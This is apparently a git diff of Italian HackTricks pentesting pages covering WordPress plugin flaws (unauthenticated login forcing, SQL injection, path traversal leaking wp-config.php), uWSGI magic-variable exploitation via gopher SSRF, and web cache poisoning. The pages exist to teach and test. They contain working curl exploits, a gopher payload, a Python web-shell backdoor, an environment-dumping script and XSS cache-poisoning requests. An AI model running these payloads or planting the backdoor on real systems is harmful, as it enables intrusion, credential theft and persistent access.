Alcuni plugin collegano helper di user-switching all'hook pubblico `init` e ricavano l'identità da un cookie controllato dal client. Se il codice chiama `wp_set_auth_cookie()` senza verificare l'autenticazione, la capability e un nonce valido, qualsiasi visitatore non autenticato può forzare il login come un ID utente arbitrario.
Alcuni plugin collegano user-switching helpers al public `init` hook e ricavano l'identità da un cookie controllato dal client. Se il codice chiama `wp_set_auth_cookie()` senza verificare authentication, capability e un nonce valido, qualsiasi visitatore non autenticato può forzare il login come un arbitrario user ID.
Pattern vulnerabile tipico (semplificato da Service Finder Bookings ≤ 6.1):
Pattern tipico vulnerabile (semplificato da Service Finder Bookings ≤ 6.1):
```php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
@ -591,9 +591,9 @@ wp_die('No original user found to switch back to.');
```
Perché è sfruttabile
- L'hook pubblico `init` rende l'handler raggiungibile da unauthenticated users (nessun controllo `is_user_logged_in()`).
- Il hook pubblico `init` rende il handler raggiungibile da utenti non autenticati (nessun controllo `is_user_logged_in()`).
- L'identità è derivata da un cookie modificabile dal client (`original_user_id`).
- La chiamata diretta a `wp_set_auth_cookie($uid)` autentica il richiedente come quell'utente senza alcun controllo capability/nonce.
- Una chiamata diretta a `wp_set_auth_cookie($uid)` effettua il login del richiedente come quell'utente senza controlli di capability/nonce.
Exploitation (unauthenticated)
```http
@ -605,26 +605,26 @@ Connection: close
```
---
### Considerazioni sul WAF per WordPress/plugin CVEs
### Considerazioni sul WAF per i CVE di WordPress/plugin
I WAF edge/server generici sono tarati per pattern ampi (SQLi, XSS, LFI). Molte vulnerabilità WordPress/plugin ad alto impatto sono bug di logica/autenticazione specifici dell'applicazione che appaiono come traffico benigno a meno che il motore non comprenda le route di WordPress e la semantica dei plugin.
I WAF edge/server generici sono tarati per pattern ampi (SQLi, XSS, LFI). Molte vulnerabilità ad alto impatto di WordPress/plugin sono bug di logica dell'applicazione o di auth che appaiono come traffico benigno a meno che il motore non comprenda le route di WordPress e la semantica dei plugin.
Offensive notes
- Mirare agli endpoint specifici dei plugin con payload puliti: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Testare prima i percorsi non autenticati (AJAX `nopriv`, REST con permissive `permission_callback`, shortcodes pubblici). I payload di default spesso hanno successo senza offuscamento.
- Casi tipici ad alto impatto: privilege escalation (broken access control), upload/download arbitrario di file, LFI, open redirect.
- Mira agli endpoint specifici del plugin con payload puliti: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Esegui prima i percorsi non autenticati (AJAX `nopriv`, REST con permissive `permission_callback`, public shortcodes). I payload di default spesso funzionano senza offuscamento.
- Casi tipici ad alto impatto: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
- Non fare affidamento sulle firme generiche dei WAF per proteggere le CVE dei plugin. Implementa patch virtuali a livello applicazione specifiche per la vulnerabilità o aggiorna rapidamente.
- Preferisci controlli di tipo positive-security nel codice (capabilities, nonces, validazione rigorosa degli input) rispetto ai filtri negativi basati su regex.
- Non fare affidamento su firme WAF generiche per proteggere i CVE dei plugin. Implementa patch virtuali a livello applicazione specifiche per la vulnerabilità o aggiorna rapidamente.
- Preferisci controlli di sicurezza in modalità positiva nel codice (capabilities, nonces, strict input validation) piuttosto che filtri negativi basati su regex.
## Protezione WordPress
## Protezione di WordPress
### Aggiornamenti regolari
Assicurati che WordPress, plugin e temi siano aggiornati. Conferma inoltre che l'aggiornamento automatico sia abilitato in wp-config.php:
Assicurati che WordPress, i plugin e i temi siano aggiornati. Conferma inoltre che l'aggiornamento automatico sia abilitato in wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
@ -640,16 +640,16 @@ Inoltre, **installa solo plugin e temi WordPress affidabili**.
### **Altre raccomandazioni**
- Rimuovi l'utente predefinito **admin**
- Usa **password robuste** e **2FA**
- Periodicamente **rivedi** i **permessi** degli utenti
- **Rimuovi** l'utente predefinito **admin**
- **Usa** **password complesse** e **2FA**
- **Rivedi** periodicamente i **permessi** degli utenti
- **Limita i tentativi di login** per prevenire attacchi Brute Force
- Rinomina il file **`wp-admin.php`** e consenti l'accesso solo internamente o da determinati indirizzi IP.
- Rinomina il file **`wp-admin.php`** e consenti l'accesso solo internamente o da alcuni indirizzi IP.
### SQL Injection non autenticata tramite validazione insufficiente (WP Job Portal <= 2.3.2)
Il plugin di recruitment WP Job Portal esponeva un task **savecategory** che alla fine esegue il seguente codice vulnerabile in `modules/category/model.php::validateFormData()`:
Il plugin di recruitment WP Job Portal esponeva un task **savecategory** che alla fine esegue il seguente codice vulnerabile all'interno di `modules/category/model.php::validateFormData()`:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@ -662,12 +662,12 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
Problemi introdotti da questo snippet:
1. **Input utente non sanitizzato** – `parentid` proviene direttamente dalla richiesta HTTP.
2. **Concatenazione di stringhe nella clausola WHERE** – nessun `is_numeric()` / `esc_sql()` / prepared statement.
3. **Accessibilità non autenticata** – anche se l'azione è eseguita tramite `admin-post.php`, l'unico controllo presente è un **CSRF nonce** (`wp_verify_nonce()`), che qualsiasi visitatore può recuperare da una pagina pubblica che incorpora lo shortcode `[wpjobportal_my_resumes]`.
2. **Concatenazione di stringhe nella clausola WHERE** – assenza di `is_numeric()` / `esc_sql()` / prepared statement.
3. **Accessibilità non autenticata** – sebbene l'azione venga eseguita tramite `admin-post.php`, l'unico controllo presente è un **CSRF nonce** (`wp_verify_nonce()`), che qualsiasi visitatore può recuperare da una pagina pubblica che incorpora lo shortcode `[wpjobportal_my_resumes]`.
#### Sfruttamento
1. Recuperare un nonce fresco:
1. Ottenere un nonce valido:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
@ -684,13 +684,13 @@ La risposta rivela il risultato della query iniettata o modifica il database, di
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Un altro task, **downloadcustomfile**, consentiva ai visitatori di scaricare **qualsiasi file su disco** tramite path traversal. Il sink vulnerabile si trova in `modules/customfield/model.php::downloadCustomUploadedFile()`:
Un'altra operazione, **downloadcustomfile**, permetteva ai visitatori di scaricare **qualsiasi file su disco** tramite path traversal. Il sink vulnerabile si trova in `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` è controllato dall'attacker e concatenato **senza sanitizzazione**. Di nuovo, l'unica barriera è un **CSRF nonce** che può essere recuperato dalla pagina resume.
`$file_name` è controllato dall'attaccante ed è concatenato **senza sanitizzazione**. Di nuovo, l'unica barriera è un **CSRF nonce** che può essere recuperato dalla pagina del resume.
#### Exploitation
```bash
@ -703,7 +703,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
```
Il server risponde con il contenuto di `wp-config.php`, leaking DB credentials and auth keys.
## Riferimenti
## References
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)

170
src/network-services-pentesting/pentesting-web/wsgi.md Normal file
View File

@ -0,0 +1,170 @@
# WSGI Post-Exploitation Tricks
{{#include ../../banners/hacktricks-training.md}}
## Panoramica di WSGI
Web Server Gateway Interface (WSGI) è una specifica che descrive come un web server comunica con le applicazioni web e come le applicazioni web possono essere concatenate per processare una richiesta. uWSGI è uno dei server WSGI più popolari, spesso usato per servire applicazioni web Python.
## Sfruttamento delle magic variables di uWSGI
uWSGI fornisce speciali "magic variables" che possono essere usate per configurare dinamicamente il comportamento del server. Queste variabili possono essere impostate tramite header HTTP e possono portare a gravi vulnerabilità di sicurezza se non vengono validate correttamente.
### Variabili chiave sfruttabili
#### `UWSGI_FILE` - Esecuzione arbitraria di file
```
uwsgi_param UWSGI_FILE /path/to/python/file.py;
```
Questa variabile permette di caricare ed eseguire file Python arbitrari come applicazioni WSGI. Se un attaccante può controllare questo parametro, può ottenere Remote Code Execution (RCE).
#### `UWSGI_SCRIPT` - Caricamento di script
```
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
```
Carica uno script specificato come nuova applicazione. Combinato con funzionalità di upload o di scrittura di file, questo può portare a RCE.
#### `UWSGI_MODULE` e `UWSGI_CALLABLE` - Dynamic Module Loading
```
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
```
Questi parametri permettono di caricare moduli Python arbitrari e chiamare funzioni specifiche al loro interno.
#### `UWSGI_SETENV` - Environment Variable Manipulation
```
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
```
Può essere usato per modificare le variabili d'ambiente, potenzialmente influenzando il comportamento dell'applicazione o caricando una configurazione dannosa.
#### `UWSGI_PYHOME` - Manipolazione dell'ambiente Python
```
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
```
Modifica l'ambiente virtuale Python, potenzialmente caricando pacchetti malevoli o interpreti Python diversi.
#### `UWSGI_CHDIR` - Directory Traversal
```
uwsgi_param UWSGI_CHDIR /etc/;
```
Modifica la directory di lavoro prima di elaborare le richieste, cosa che può essere sfruttata per attacchi di path traversal.
## SSRF + Gopher verso
### Vettore d'attacco
Quando uWSGI è accessibile tramite SSRF (Server-Side Request Forgery), gli attaccanti possono interagire con il socket interno di uWSGI per sfruttare le magic variables. Questo è particolarmente pericoloso quando:
1. L'applicazione ha vulnerabilità SSRF
2. uWSGI è in esecuzione su una porta/socket interna
3. L'applicazione non valida correttamente le magic variables
uWSGI è accessibile a causa di SSRF perché il file di configurazione `uwsgi.ini` contiene: `socket = 127.0.0.1:5000`, rendendolo accessibile dall'applicazione web tramite SSRF.
### Esempio di sfruttamento
#### Passo 1: Crea un payload maligno
Prima, inietta codice Python in un file accessibile dal server (scrittura di file dentro il server, l'estensione del file non importa):
```python
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")
```
#### Passo 2: Costruisci richiesta del protocollo uWSGI
Usa il protocollo Gopher per inviare pacchetti uWSGI raw:
```
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
```
Questo payload:
- Si connette a uWSGI sulla porta 5000
- Imposta `UWSGI_FILE` per puntare al file dannoso
- Forza uWSGI a caricare ed eseguire il codice Python
### Struttura del protocollo uWSGI
Il protocollo uWSGI utilizza un formato binario in cui:
- Le variabili sono codificate come stringhe con prefisso di lunghezza
- Each variable has: `[name_length][name][value_length][value]`
- Il pacchetto inizia con un'intestazione che contiene la dimensione totale
## Post-Exploitation Techniques
### 1. Persistent Backdoors
#### File-based Backdoor
```python
# backdoor.py
import subprocess
import base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
```
Quindi usa `UWSGI_FILE` per caricare this backdoor:
```
uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;
```
#### Environment-based Persistence
```
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
```
### 2. Divulgazione di informazioni
#### Dumping delle variabili d'ambiente
```python
# env_dump.py
import os
import json
def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
```
#### Accesso al file system
Usa `UWSGI_CHDIR` combinato con file serving per accedere a file sensibili:
```
uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;
```
### 3. Elevazione dei privilegi
#### Manipolazione dei socket
Se uWSGI viene eseguito con privilegi elevati, gli attaccanti potrebbero manipolare i permessi dei socket:
```
uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
```
#### Sovrascrittura della configurazione
```python
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
```
## Riferimenti
- [uWSGI Magic Variables Documentation](https://uwsgi-docs.readthedocs.io/en/latest/Vars.html)
- [IOI SaveData CTF Writeup](https://bugculture.io/writeups/web/ioi-savedata)
- [uWSGI Security Best Practices](https://uwsgi-docs.readthedocs.io/en/latest/Security.html)
{{#include ../../banners/hacktricks-training.md}}

172
src/pentesting-web/cache-deception/README.md
View File

@ -11,21 +11,21 @@
## Cache Poisoning
Cache poisoning mira a manipolare la client-side cache per costringere i client a caricare risorse inaspettate, parziali o sotto il controllo di un attacker. L'entità dell'impatto dipende dalla popolarità della pagina interessata, poiché la response avvelenata viene servita esclusivamente agli utenti che visitano la pagina durante il periodo di contaminazione della cache.
Cache poisoning mira a manipolare la cache lato client per costringere i client a caricare risorse inaspettate, parziali o sotto il controllo di un attacker. L'entità dell'impatto dipende dalla popolarità della pagina colpita, dato che la risposta avvelenata viene servita esclusivamente agli utenti che visitano la pagina durante il periodo di contaminazione della cache.
L'esecuzione di un attacco di cache poisoning comporta diversi passaggi:
1. **Identification of Unkeyed Inputs**: sono parametri che, pur non essendo necessari affinché una request venga cached, possono modificare la response restituita dal server. Identificare questi input è cruciale poiché possono essere sfruttati per manipolare la cache.
2. **Exploitation of the Unkeyed Inputs**: dopo aver identificato gli unkeyed inputs, il passo successivo è capire come abusare di questi parametri per modificare la response del server a vantaggio dell'attacker.
3. **Ensuring the Poisoned Response is Cached**: l'ultimo passo è assicurarsi che la response manipolata venga memorizzata nella cache. In questo modo, qualsiasi utente che accede alla pagina interessata mentre la cache è avvelenata riceverà la response contaminata.
1. **Identification of Unkeyed Inputs**: questi sono parametri che, pur non essendo richiesti affinché una richiesta venga cached, possono alterare la risposta restituita dal server. Identificare questi input è cruciale perché possono essere sfruttati per manipolare la cache.
2. **Exploitation of the Unkeyed Inputs**: dopo aver identificato gli unkeyed inputs, il passaggio successivo consiste nel capire come abusare di questi parametri per modificare la risposta del server in modo vantaggioso per l'attacker.
3. **Ensuring the Poisoned Response is Cached**: l'ultimo passaggio è assicurarsi che la risposta manipolata venga memorizzata nella cache. In questo modo, qualsiasi utente che accede alla pagina interessata mentre la cache è avvelenata riceverà la risposta contaminata.
### Scoperta: Controlla gli header HTTP
### Scoperta: Controlla gli HTTP headers
Di solito, quando una response è stata **stored in the cache** sarà presente un **header che lo indica**; puoi controllare quali header è meglio prendere in considerazione in questo post: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
Di solito, quando una risposta è stata **stored in the cache** ci sarà un **header indicating so**, puoi controllare quali header dovresti considerare in questo post: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Scoperta: Codici di errore in cache
### Scoperta: Caching dei codici di errore
Se pensi che la response venga memorizzata in una cache, potresti provare a **inviare richieste con un header malformato**, le quali dovrebbero rispondere con uno **status code 400**. Poi prova ad accedere la richiesta normalmente e se la **response è uno status code 400**, sai che è vulnerabile (e potresti anche eseguire un DoS).
Se pensi che la risposta venga memorizzata in una cache, potresti provare a **inviare richieste con un header malformato**, che dovrebbe essere risposto con un **status code 400**. Poi prova ad accedere alla richiesta normalmente e se la **response è uno status code 400**, sai che è vulnerabile (e potresti anche eseguire un DoS).
Puoi trovare più opzioni in:
@ -34,101 +34,101 @@ Puoi trovare più opzioni in:
cache-poisoning-to-dos.md
{{#endref}}
Tieni però presente che **a volte questi tipi di status code non vengono cached**, quindi questo test potrebbe non essere affidabile.
Tuttavia, nota che **a volte questo tipo di codici di stato non vengono cached** quindi questo test potrebbe non essere affidabile.
### Scoperta: Identificare e valutare unkeyed inputs
### Scoperta: Identificare e valutare gli unkeyed inputs
Puoi usare [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) per **brute-force parameters and headers** che possono **modificare la response della pagina**. Per esempio, una pagina potrebbe usare l'header `X-Forwarded-For` per indicare al client di caricare lo script da lì:
Puoi usare [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) per **brute-forceare parametri e header** che potrebbero **cambiare la risposta della pagina**. Ad esempio, una pagina potrebbe usare l'header `X-Forwarded-For` per indicare al client di caricare lo script da lì:
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Indurre una risposta dannosa dal server back-end
### Provocare una risposta dannosa dal back-end server
Una volta identificato il parametro/header verifica come viene **sanitizzato** e **dove** viene **riflesso** o come influisce sulla risposta dal header. Riesci ad abusarne comunque (perform an XSS or load a JS code controlled by you? perform a DoS?...)
Con il parameter/header identificato controlla come viene **sanitizzato** e **dove** viene **riflesso** o come influisce sulla risposta dall'header. Riesci comunque ad abusarne (perform an XSS or load a JS code controlled by you? perform a DoS?...)
### Mettere la risposta in cache
Una volta che hai **identificato** la **pagina** che può essere sfruttata, quale **parametro**/**header** usare e **come** **abusarne**, devi fare in modo che la pagina venga messa in cache. A seconda della risorsa che stai cercando di inserire nella cache questo può richiedere del tempo, potresti doverci provare per diversi secondi.
Una volta che hai **identificato** la **pagina** che può essere abusata, quale **parameter**/**header** usare e **come** **abusarne**, devi far sì che la pagina venga messa in cache. A seconda della risorsa che stai cercando di mandare in cache questo può richiedere del tempo, potresti dover riprovare per diversi secondi.
L'header **`X-Cache`** nella risposta può essere molto utile poiché può assumere il valore **`miss`** quando la richiesta non è stata cacheata e il valore **`hit`** quando è in cache.\
L'header **`Cache-Control`** è inoltre utile per sapere se una risorsa viene cacheata e quando sarà la prossima volta che la risorsa verrà messa in cache: `Cache-Control: public, max-age=1800`
L'header **`X-Cache`** nella risposta può essere molto utile perché può avere il valore **`miss`** quando la richiesta non è stata cacheata e il valore **`hit`** quando è in cache.\
L'header **`Cache-Control`** è anche interessante per sapere se una risorsa viene cacheata e quando sarà la prossima volta che la risorsa sarà nuovamente cacheata: `Cache-Control: public, max-age=1800`
Un altro header interessante è **`Vary`**. Questo header è spesso usato per **indicare header aggiuntivi** che sono trattati come **parte della chiave della cache** anche se normalmente non sono usati come chiave. Pertanto, se l'attaccante conosce il `User-Agent` della vittima che sta prendendo di mira, può avvelenare la cache per gli utenti che usano quel specifico `User-Agent`.
Un altro header interessante è **`Vary`**. Questo header è spesso usato per **indicare additional headers** che sono trattati come **parte della cache key** anche se normalmente non sono keyati. Pertanto, se l'utente conosce il `User-Agent` della vittima che sta prendendo di mira, può poison the cache per gli utenti che usano quel specifico `User-Agent`.
Un altro header relativo alla cache è **`Age`**. Definisce il tempo in secondi che l'oggetto è rimasto nella cache del proxy.
Un altro header relativo alla cache è **`Age`**. Definisce il tempo in secondi in cui l'oggetto è stato nella proxy cache.
Quando metti una richiesta in cache, fai **attenzione agli header che usi** perché alcuni di essi potrebbero essere **usati inaspettatamente** come **chiave** e la **vittima dovrà usare lo stesso header**. Testa sempre un Cache Poisoning con **browser diversi** per verificare se funziona.
Quando metti in cache una request, fai **attenzione agli header che usi** perché alcuni di essi potrebbero essere **usati inaspettatamente** come **keyed** e la **vittima dovrà utilizzare lo stesso header**. Testa sempre una Cache Poisoning con **browser differenti** per verificare che funzioni.
## Esempi di sfruttamento
### Esempio più semplice
Un header come `X-Forwarded-For` viene riflesso nella risposta senza sanitizzazione.\
Puoi inviare un payload XSS di base e avvelenare la cache così chiunque acceda alla pagina verrà colpito da XSS:
Un header come `X-Forwarded-For` viene riflesso nella risposta senza essere sanitizzato.\
Puoi inviare un payload XSS di base e poisonare la cache in modo che chiunque acceda alla pagina venga XSSed:
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_Nota che questo avvelenerà una request a `/en?region=uk` e non a `/en`_
_Nota che questo avvelenerà una richiesta a `/en?region=uk` e non a `/en`_
### Cache poisoning per DoS
### Cache poisoning to DoS
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
### Cache poisoning attraverso CDNs
### Cache poisoning through CDNs
In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** viene spiegato il seguente semplice scenario:
In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** viene spiegato il seguente scenario semplice:
- La CDN memorizzerà nella cache tutto ciò che si trova sotto `/share/`
- La CDN NON decodificherà né normalizzerà `%2F..%2F`, pertanto può essere usato come **path traversal per accedere ad altre posizioni sensibili che verranno memorizzate nella cache** come `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- La CDN metterà in cache qualsiasi cosa sotto `/share/`
- La CDN NON decodificherà né normalizzerà `%2F..%2F`, pertanto può essere usato come **path traversal per accedere ad altre posizioni sensibili che saranno messe in cache** come `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- Il web server DECODERÀ e normalizzerà `%2F..%2F`, e risponderà con `/api/auth/session`, che **contiene l'auth token**.
### Using web cache poisoning to exploit cookie-handling vulnerabilities
### Utilizzare web cache poisoning per sfruttare vulnerabilità nella gestione dei cookie
I cookie possono anche essere riflessi nella risposta di una pagina. Se riesci ad abusarne per causare una XSS, ad esempio, potresti essere in grado di sfruttare l'XSS in diversi client che caricano la risposta memorizzata nella cache malevola.
I cookie possono anche essere riflessi nella risposta di una pagina. Se puoi abusarne per causare un XSS, per esempio, potresti riuscire a sfruttare l'XSS in più client che caricano la risposta memorizzata nella cache malevola.
```html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.
Nota che se il cookie vulnerabile viene usato molto dagli utenti, le richieste regolari puliranno la cache.
### Generating discrepancies with delimiters, normalization and dots <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Generare discrepanze con delimitatori, normalizzazione e punti <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Check:
Controlla:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Cache poisoning con path traversal per rubare API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Cache poisoning con path traversal per rubare la API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.
This is also explained better in:
Questo è spiegato meglio anche in:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Using multiple headers to exploit web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Usare più header per sfruttare web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Sometimes you will need to **exploit several unkeyed inputs** to be able to abuse a cache. For example, you may find an **Open redirect** if you set `X-Forwarded-Host` to a domain controlled by you and `X-Forwarded-Scheme` to `http`. **If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as the domain name for the redirect, you can control where the page is pointed by the redirect.
A volte dovrai **sfruttare diversi unkeyed inputs** per poter abusare di una cache. Ad esempio, potresti trovare un **Open redirect** se imposti `X-Forwarded-Host` su un dominio che controlli e `X-Forwarded-Scheme` su `http`. **Se** il **server** sta **inoltrando** tutte le richieste **HTTP** **a HTTPS** e usa l'header `X-Forwarded-Scheme` come nome di dominio per il redirect, puoi controllare verso dove il redirect indirizza la pagina.
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### Sfruttare con `Vary` header limitato
### Sfruttando un `Vary` header limitato
Se scopri che l'header **`X-Host`** viene usato come **nome di dominio per caricare una risorsa JS**, ma l'header **`Vary`** nella risposta indica **`User-Agent`**, allora devi trovare un modo per exfiltrate il `User-Agent` della vittima e poison the cache usando quel `User-Agent`:
Se scopri che l'header **`X-Host`** viene usato come **nome di dominio per caricare una risorsa JS**, ma l'header **`Vary`** nella risposta indica **`User-Agent`**, allora devi trovare un modo per exfiltrate il User-Agent della vittima e poison the cache usando quel user agent:
```html
GET / HTTP/1.1
Host: vulnerbale.net
@ -137,7 +137,7 @@ X-Host: attacker.com
```
### Fat Get
Invia una richiesta GET con la request sia nell'URL sia nel body. Se il web server usa quella del body ma il cache server mette in cache quella dell'URL, chiunque acceda a quell'URL userà in realtà il parametro proveniente dal body. Come la vuln che James Kettle ha trovato sul sito di Github:
Invia una richiesta GET con la request sia nell'URL che nel body. Se il web server usa quella dal body ma il cache server memorizza nella cache quella dall'URL, chiunque acceda a quell'URL userà effettivamente il parameter proveniente dal body. Come la vuln James Kettle ha trovato al sito di Github:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -146,41 +146,41 @@ Content-Length: 22
report=innocent-victim
```
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
C'è un laboratorio PortSwigger su questo: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### Parameter Cloacking
Ad esempio è possibile separare **parameters** in server ruby usando il char **`;`** invece di **`&`**. Questo può essere usato per inserire valori di parametri senza chiave all'interno di quelli con chiave e abusarne.
Ad esempio è possibile separare i **parametri** nei server ruby usando il carattere **`;`** invece di **`&`**. Questo può essere usato per inserire valori di parametri senza chiave all'interno di quelli con chiave e abusarne.
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Scopri come eseguire [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
Qui puoi imparare come eseguire [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
### Test automatizzati per Web Cache Poisoning
### Test automatici per Web Cache Poisoning
The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) può essere usato per testare automaticamente per web cache poisoning. Supporta molte tecniche diverse ed è altamente personalizzabile.
Il [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) può essere usato per testare automaticamente la presenza di Web Cache Poisoning. Supporta molte tecniche diverse ed è altamente personalizzabile.
Example usage: `wcvs -u example.com`
Esempio d'uso: `wcvs -u example.com`
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Questo pattern osservato in ambiente reale concatena un primitivo di reflection basato su header con il comportamento di CDN/WAF per avvelenare in modo affidabile l'HTML cached servito ad altri utenti:
Questo schema osservato nel mondo reale concatena una primitiva di reflection basata su header con il comportamento del CDN/WAF per avvelenare in modo affidabile l'HTML in cache servito ad altri utenti:
- L'HTML principale rifletteva un header di richiesta non attendibile (es., `User-Agent`) in contesto eseguibile.
- Il CDN rimuoveva gli header di cache ma esisteva una cache interna/origin. Il CDN inoltre auto-cached le richieste che terminano con estensioni statiche (es., `.js`), mentre il WAF applicava ispezioni di contenuto più deboli alle GET per asset statici.
- Quirks nel flusso di richiesta permettevano a una richiesta a un percorso `.js` di influenzare la cache key/variant usata per l'HTML principale successivo, abilitando XSS cross-user tramite header reflection.
- L'HTML principale rifletteva un header della request non attendibile (es. `User-Agent`) in un contesto eseguibile.
